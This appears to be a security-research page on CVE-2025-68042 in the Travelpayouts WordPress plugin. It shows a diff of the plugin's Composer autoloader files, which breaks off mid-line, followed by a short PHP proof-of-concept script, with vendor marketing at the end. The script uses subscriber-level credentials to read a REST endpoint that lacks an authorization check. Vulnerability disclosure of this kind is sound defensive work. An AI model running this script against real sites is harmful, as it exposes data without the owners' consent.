     private $prefixesPsr0 = array();
+    /**
+     * @var list<string>
+     */
     private $fallbackDirsPsr0 = array();

+    /** @var bool */
     private $useIncludePath = false;
+
+    /**
+     * @var array<string, string>
+     */
     private $classMap = array();
+
+    /** @var bool */
     private $classMapAuthoritative = false;
+
+    /**
+     * @var array<string, bool>
+     */
     private $missingClasses = array();
+
+    /** @var string|null */
     private $apcuPrefix;

+    /**
+     * @var array<string, self>
+     */
+    private static $registeredLoaders = array();
+
+    /**
+     * @param string|null $vendorDir
+     */
+    public function __construct($vendorDir = null)
+    {
+        $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
+    }
+
+    /**
+     * @return array<string, list<string>>
+     */
     public function getPrefixes()
     {
         if (!empty($this->prefixesPsr0)) {
@@ -66,28 +121,42 @@
         return array();
     }

+    /**
+     * @return array<string, list<string>>
+     */
     public function getPrefixesPsr4()
     {
         return $this->prefixDirsPsr4;
     }

+    /**
+     * @return list<string>
+     */
     public function getFallbackDirs()
     {
         return $this->fallbackDirsPsr0;
     }

+    /**
+     * @return list<string>
+     */
     public function getFallbackDirsPsr4()
     {
         return $this->fallbackDirsPsr4;
     }

+    /**
+     * @return array<string, string> Array of classname => path
+     */
     public function getClassMap()
     {
         return $this->classMap;
     }

     /**
-     * @param array $classMap Class to filename map
+     * @param array<string, string> $classMap Class to filename map
+     *
+     * @return void
      */
     public function addClassMap(array $classMap)
     {
@@ -102,22 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string       $prefix  The prefix
-     * @param array|string $paths   The PSR-0 root directories
-     * @param bool         $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
+     *
+     * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -126,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -147,25 +219,28 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string       $prefix  The prefix/namespace, with trailing '\'
-     * @param array|string $paths   The PSR-4 base directories
-     * @param bool         $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
+     *
+     * @return void
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -175,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -195,8 +270,10 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string       $prefix The prefix
-     * @param array|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
+     *
+     * @return void
      */
     public function set($prefix, $paths)
     {
@@ -211,10 +288,12 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string       $prefix The prefix/namespace, with trailing '\'
-     * @param array|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
+     *
+     * @return void
      */
     public function setPsr4($prefix, $paths)
     {
@@ -234,6 +313,8 @@
      * Turns on searching the include path for class files.
      *
      * @param bool $useIncludePath
+     *
+     * @return void
      */
     public function setUseIncludePath($useIncludePath)
     {
@@ -256,6 +337,8 @@
      * that have not been registered with the class map.
      *
      * @param bool $classMapAuthoritative
+     *
+     * @return void
      */
     public function setClassMapAuthoritative($classMapAuthoritative)
     {
@@ -276,6 +359,8 @@
      * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
      *
      * @param string|null $apcuPrefix
+     *
+     * @return void
      */
     public function setApcuPrefix($apcuPrefix)
     {
@@ -296,33 +381,55 @@
      * Registers this instance as an autoloader.
      *
      * @param bool $prepend Whether to prepend the autoloader or not
+     *
+     * @return void
      */
     public function register($prepend = false)
     {
         spl_autoload_register(array($this, 'loadClass'), true, $prepend);
+
+        if (null === $this->vendorDir) {
+            return;
+        }
+
+        if ($prepend) {
+            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
+        } else {
+            unset(self::$registeredLoaders[$this->vendorDir]);
+            self::$registeredLoaders[$this->vendorDir] = $this;
+        }
     }

     /**
      * Unregisters this instance as an autoloader.
+     *
+     * @return void
      */
     public function unregister()
     {
         spl_autoload_unregister(array($this, 'loadClass'));
+
+        if (null !== $this->vendorDir) {
+            unset(self::$registeredLoaders[$this->vendorDir]);
+        }
     }

     /**
      * Loads the given class or interface.
      *
      * @param  string    $class The name of the class
-     * @return bool|null True if loaded, null otherwise
+     * @return true|null True if loaded, null otherwise
      */
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
+
+        return null;
     }

     /**
@@ -367,6 +474,21 @@
         return $file;
     }

+    /**
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
+     *
+     * @return array<string, self>
+     */
+    public static function getRegisteredLoaders()
+    {
+        return self::$registeredLoaders;
+    }
+
+    /**
+     * @param  string       $class
+     * @param  string       $ext
+     * @return string|false
+     */
     private function findFileWithExtension($class, $ext)
     {
         // PSR-4 lookup
@@ -432,14 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/travelpayouts/vendor/composer/InstalledVersions.php
+++ b/travelpayouts/vendor/composer/InstalledVersions.php
@@ -1,508 +1,396 @@
 <?php

-
-
-
-
-
-
-
-
-
+/*
+ * This file is part of Composer.
+ *
+ * (c) Nils Adermann <naderman@naderman.de>
+ *     Jordi Boggiano <j.boggiano@seld.be>
+ *
+ * For the full copyright and license information, please view the LICENSE
+ * file that was distributed with this source code.
+ */

 namespace Composer;

+use ComposerAutoloadClassLoader;
 use ComposerSemverVersionParser;

-
-
-
-
-
+/**
+ * This class is copied in every Composer installed project and available to all
+ *
+ * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
+ *
+ * To require its presence, you can require `composer-runtime-api ^2.0`
+ *
+ * @final
+ */
 class InstalledVersions
 {
-private static $installed = array (
-  'root' =>
-  array (
-    'pretty_version' => '1.1.4',
-    'version' => '1.1.4.0',
-    'aliases' =>
-    array (
-    ),
-    'reference' => NULL,
-    'name' => 'travelpayouts/wp-plugin',
-  ),
-  'versions' =>
-  array (
-    'psr/clock-implementation' =>
-    array (
-      'provided' =>
-      array (
-        0 => '1.0',
-      ),
-    ),
-    'psr/container-implementation' =>
-    array (
-      'provided' =>
-      array (
-        0 => '^1.0',
-      ),
-    ),
-    'rhumsaa/uuid' =>
-    array (
-      'replaced' =>
-      array (
-        0 => '4.2.3',
-      ),
-    ),
-    'symfony/polyfill-ctype' =>
-    array (
-      'pretty_version' => '1.x-dev',
-      'version' => '1.9999999.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '499b42c6f68634c35785c0e0b9ec507db2b6b8d6',
-    ),
-    'symfony/polyfill-mbstring' =>
-    array (
-      'pretty_version' => '1.x-dev',
-      'version' => '1.9999999.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '78d499bb1e2af4c9c85ae719e1a584fbfc7c4da2',
-    ),
-    'symfony/polyfill-php80' =>
-    array (
-      'pretty_version' => '1.x-dev',
-      'version' => '1.9999999.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => 'ddc10b706c8368fc3ac581cb01140e876ae12d4b',
-    ),
-    'symfony/translation-implementation' =>
-    array (
-      'provided' =>
-      array (
-        0 => '2.3',
-      ),
-    ),
-    'travelpayouts-adbario/php-dot-notation' =>
-    array (
-      'pretty_version' => '2.x-dev',
-      'version' => '2.9999999.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => 'cc40073b292a8ab8f489d43fc28fc8d42596d79e',
-    ),
-    'travelpayouts-apimatic/jsonmapper' =>
-    array (
-      'pretty_version' => '3.1.6',
-      'version' => '3.1.6.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '4c43157842f9305a421f00fccdb8c98964e90170',
-    ),
-    'travelpayouts-brick/math' =>
-    array (
-      'pretty_version' => '0.9.3',
-      'version' => '0.9.3.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => 'eb18626012032f3a9b93e065dc30f6fc853e0bbd',
-    ),
-    'travelpayouts-carbonphp/carbon-doctrine-types' =>
-    array (
-      'pretty_version' => '1.0.0',
-      'version' => '1.0.0.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '3d13f50e744a93c536352136762d104fe923db0a',
-    ),
-    'travelpayouts-doctrine/annotations' =>
-    array (
-      'pretty_version' => '1.14.x-dev',
-      'version' => '1.14.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '5ab2145f2833c60625d6a920d4f72de31e0ab1c8',
-    ),
-    'travelpayouts-doctrine/deprecations' =>
-    array (
-      'pretty_version' => '1.1.x-dev',
-      'version' => '1.1.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => 'fbf1e607e1f890a2297d3b99562df6418d0f7af5',
-    ),
-    'travelpayouts-doctrine/lexer' =>
-    array (
-      'pretty_version' => '2.1.x-dev',
-      'version' => '2.1.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '6ac2bc63094223163435cd4d101eb8a8df7fbaf4',
-    ),
-    'travelpayouts-glook/yiigrid' =>
-    array (
-      'pretty_version' => 'dev-master',
-      'version' => 'dev-master',
-      'aliases' =>
-      array (
-      ),
-      'reference' => 'c52e226b5138c5ba0f0ab5df76113737e25daef9',
-    ),
-    'travelpayouts-league/plates' =>
-    array (
-      'pretty_version' => '3.3.0',
-      'version' => '3.3.0.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => 'c3013a37a939aafa17a4aef5bd11a334ee7e3b39',
-    ),
-    'travelpayouts-nesbot/carbon' =>
-    array (
-      'pretty_version' => '2.x-dev',
-      'version' => '2.9999999.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '0957c4c601c29f5145a9c80b5d33dcf79c2634f3',
-    ),
-    'travelpayouts-nikic/fast-route' =>
-    array (
-      'pretty_version' => 'v1.x-dev',
-      'version' => '1.9999999.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '39d0190480d2a110a45928e799aad6a5f96195b2',
-    ),
-    'travelpayouts-opis/closure' =>
-    array (
-      'pretty_version' => '3.x-dev',
-      'version' => '3.9999999.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => 'bbda4387365865966814d8a746e43b1d0bd6eac8',
-    ),
-    'travelpayouts-php-di/invoker' =>
-    array (
-      'pretty_version' => '2.0.0',
-      'version' => '2.0.0.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '47bc158c46773610767788b8c5b706b330f63037',
-    ),
-    'travelpayouts-php-di/php-di' =>
-    array (
-      'pretty_version' => '6.3.5',
-      'version' => '6.3.5.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '4ee81465f4944071fa1c7c250714888cf0def06a',
-    ),
-    'travelpayouts-php-di/phpdoc-reader' =>
-    array (
-      'pretty_version' => '2.2.1',
-      'version' => '2.2.1.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => 'ac6d5af7eb0c5598e7d96a0ee4588b083b903b34',
-    ),
-    'travelpayouts-psr/cache' =>
-    array (
-      'pretty_version' => '1.0.1',
-      'version' => '1.0.1.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '44d8d54a8fa37b8c0b23a4c4a09ce22631a2e96b',
-    ),
-    'travelpayouts-psr/clock' =>
-    array (
-      'pretty_version' => '1.0.0',
-      'version' => '1.0.0.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '320d0c146d250682a12bace1d8b449895345cf19',
-    ),
-    'travelpayouts-psr/container' =>
-    array (
-      'pretty_version' => '1.1.x-dev',
-      'version' => '1.1.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '1c1446609b87107ff3b204c86d650da37aa60c4b',
-    ),
-    'travelpayouts-psr/log' =>
-    array (
-      'pretty_version' => '1.1.4',
-      'version' => '1.1.4.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '885cf5f5e74d690aaaae9428a9b291866e6d5a25',
-    ),
-    'travelpayouts-ramsey/collection' =>
-    array (
-      'pretty_version' => '1.1.4',
-      'version' => '1.1.4.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '39c5691f9fae42269d5f477c93e0896485ebf6eb',
-    ),
-    'travelpayouts-ramsey/uuid' =>
-    array (
-      'pretty_version' => '4.2.3',
-      'version' => '4.2.3.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '287a0945db59ae63da298c72aec3f61fdd935d9b',
-    ),
-    'travelpayouts-snowplow/snowplow-tracker' =>
-    array (
-      'pretty_version' => '0.4.0',
-      'version' => '0.4.0.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => 'f50f109795663b0c2b7e1e7c20310ee9d66ef78d',
-    ),
-    'travelpayouts-symfony/deprecation-contracts' =>
-    array (
-      'pretty_version' => '2.5.x-dev',
-      'version' => '2.5.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '79dacd362ae86214f3bf3e3751e3d4e6164ed6ff',
-    ),
-    'travelpayouts-symfony/translation' =>
-    array (
-      'pretty_version' => '5.4.x-dev',
-      'version' => '5.4.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '3a2009c8128674de75b5acdcf27eb8c7c9dab99a',
-    ),
-    'travelpayouts-symfony/translation-contracts' =>
-    array (
-      'pretty_version' => '2.5.x-dev',
-      'version' => '2.5.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '6384f932b0bb476176b82f9d27538e3f9183784e',
-    ),
-    'travelpayouts-symfony/yaml' =>
-    array (
-      'pretty_version' => '5.4.x-dev',
-      'version' => '5.4.9999999.9999999-dev',
-      'aliases' =>
-      array (
-      ),
-      'reference' => '87cf86d5101c4b1c8394ee174079d0c869521749',
-    ),
-    'travelpayouts/wp-plugin' =>
-    array (
-      'pretty_version' => '1.1.4',
-      'version' => '1.1.4.0',
-      'aliases' =>
-      array (
-      ),
-      'reference' => NULL,
-    ),
-  ),
-);
-
-
-
-
-
-
-
-public static function getInstalledPackages()
-{
-return array_keys(self::$installed['versions']);
-}
-
-
-
-
-
-
-
-
-
-public static function isInstalled($packageName)
-{
-return isset(self::$installed['versions'][$packageName]);
-}
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-public static function satisfies(VersionParser $parser, $packageName, $constraint)
-{
-$constraint = $parser->parseConstraints($constraint);
-$provided = $parser->parseConstraints(self::getVersionRanges($packageName));
-
-return $provided->matches($constraint);
-}
-
-
-
-
-
-
-
-
-
-
-public static function getVersionRanges($packageName)
-{
-if (!isset(self::$installed['versions'][$packageName])) {
-throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-}
-
-$ranges = array();
-if (isset(self::$installed['versions'][$packageName]['pretty_version'])) {
-$ranges[] = self::$installed['versions'][$packageName]['pretty_version'];
-}
-if (array_key_exists('aliases', self::$installed['versions'][$packageName])) {
-$ranges = array_merge($ranges, self::$installed['versions'][$packageName]['aliases']);
-}
-if (array_key_exists('replaced', self::$installed['versions'][$packageName])) {
-$ranges = array_merge($ranges, self::$installed['versions'][$packageName]['replaced']);
-}
-if (array_key_exists('provided', self::$installed['versions'][$packageName])) {
-$ranges = array_merge($ranges, self::$installed['versions'][$packageName]['provided']);
-}
-
-return implode(' || ', $ranges);
-}
+    /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
+     * @var mixed[]|null
+     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
+     */
+    private static $installed;
+
+    /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
+     * @var bool|null
+     */
+    private static $canGetVendors;
+
+    /**
+     * @var array[]
+     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     */
+    private static $installedByVendor = array();
+
+    /**
+     * Returns a list of all package names which are present, either by being installed, replaced or provided
+     *
+     * @return string[]
+     * @psalm-return list<string>
+     */
+    public static function getInstalledPackages()
+    {
+        $packages = array();
+        foreach (self::getInstalled() as $installed) {
+            $packages[] = array_keys($installed['versions']);
+        }
+
+        if (1 === count($packages)) {
+            return $packages[0];
+        }
+
+        return array_keys(array_flip(call_user_func_array('array_merge', $packages)));
+    }
+
+    /**
+     * Returns a list of all package names with a specific type e.g. 'library'
+     *
+     * @param  string   $type
+     * @return string[]
+     * @psalm-return list<string>
+     */
+    public static function getInstalledPackagesByType($type)
+    {
+        $packagesByType = array();
+
+        foreach (self::getInstalled() as $installed) {
+            foreach ($installed['versions'] as $name => $package) {
+                if (isset($package['type']) && $package['type'] === $type) {
+                    $packagesByType[] = $name;
+                }
+            }
+        }
+
+        return $packagesByType;
+    }
+
+    /**
+     * Checks whether the given package is installed
+     *
+     * This also returns true if the package name is provided or replaced by another package
+     *
+     * @param  string $packageName
+     * @param  bool   $includeDevRequirements
+     * @return bool
+     */
+    public static function isInstalled($packageName, $includeDevRequirements = true)
+    {
+        foreach (self::getInstalled() as $installed) {
+            if (isset($installed['versions'][$packageName])) {
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * Checks whether the given package satisfies a version constraint
+     *
+     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
+     *
+     *   ComposerInstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
+     *
+     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
+     * @param  string        $packageName
+     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
+     * @return bool
+     */
+    public static function satisfies(VersionParser $parser, $packageName, $constraint)
+    {
+        $constraint = $parser->parseConstraints((string) $constraint);
+        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));
+
+        return $provided->matches($constraint);
+    }
+
+    /**
+     * Returns a version constraint representing all the range(s) which are installed for a given package
+     *
+     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
+     * whether a given version of a package is installed, and not just whether it exists
+     *
+     * @param  string $packageName
+     * @return string Version constraint usable with composer/semver
+     */
+    public static function getVersionRanges($packageName)
+    {
+        foreach (self::getInstalled() as $installed) {
+            if (!isset($installed['versions'][$packageName])) {
+                continue;
+            }
+
+            $ranges = array();
+            if (isset($installed['versions'][$packageName]['pretty_version'])) {
+                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
+            }
+            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
+                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
+            }
+            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
+                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
+            }
+            if (array_key_exists('provided', $installed['versions'][$packageName])) {
+                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
+            }
+
+            return implode(' || ', $ranges);
+        }
+
+        throw new OutOfBoundsExcep

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68042 - Travelpayouts <= 1.2.1 - Missing Authorization

<?php

$target_url = 'http://example.com/wp-json/travelpayouts/v1/fields';
$username = 'subscriber_user';
$password = 'subscriber_password';

// Initialize cURL session
$ch = curl_init();

// Set authentication credentials
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERPWD, "$username:$password");
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code === 200) {
    $data = json_decode($response, true);
    if ($data !== null) {
        echo "[+] Vulnerability confirmed! Retrieved " . count($data) . " fields.n";
        echo "[+] Sample field data: " . json_encode($data[0] ?? 'No data') . "n";
    } else {
        echo "[+] Vulnerability likely present (HTTP 200), but response not JSON.n";
        echo "[+] Raw response: " . substr($response, 0, 500) . "n";
    }
} else if ($http_code === 401) {
    echo "[-] Authentication failed. Check credentials.n";
} else if ($http_code === 403) {
    echo "[-] Access forbidden. Plugin may be patched or user lacks authentication.n";
} else {
    echo "[-] Unexpected HTTP status: $http_coden";
    echo "[-] Response: " . substr($response, 0, 500) . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School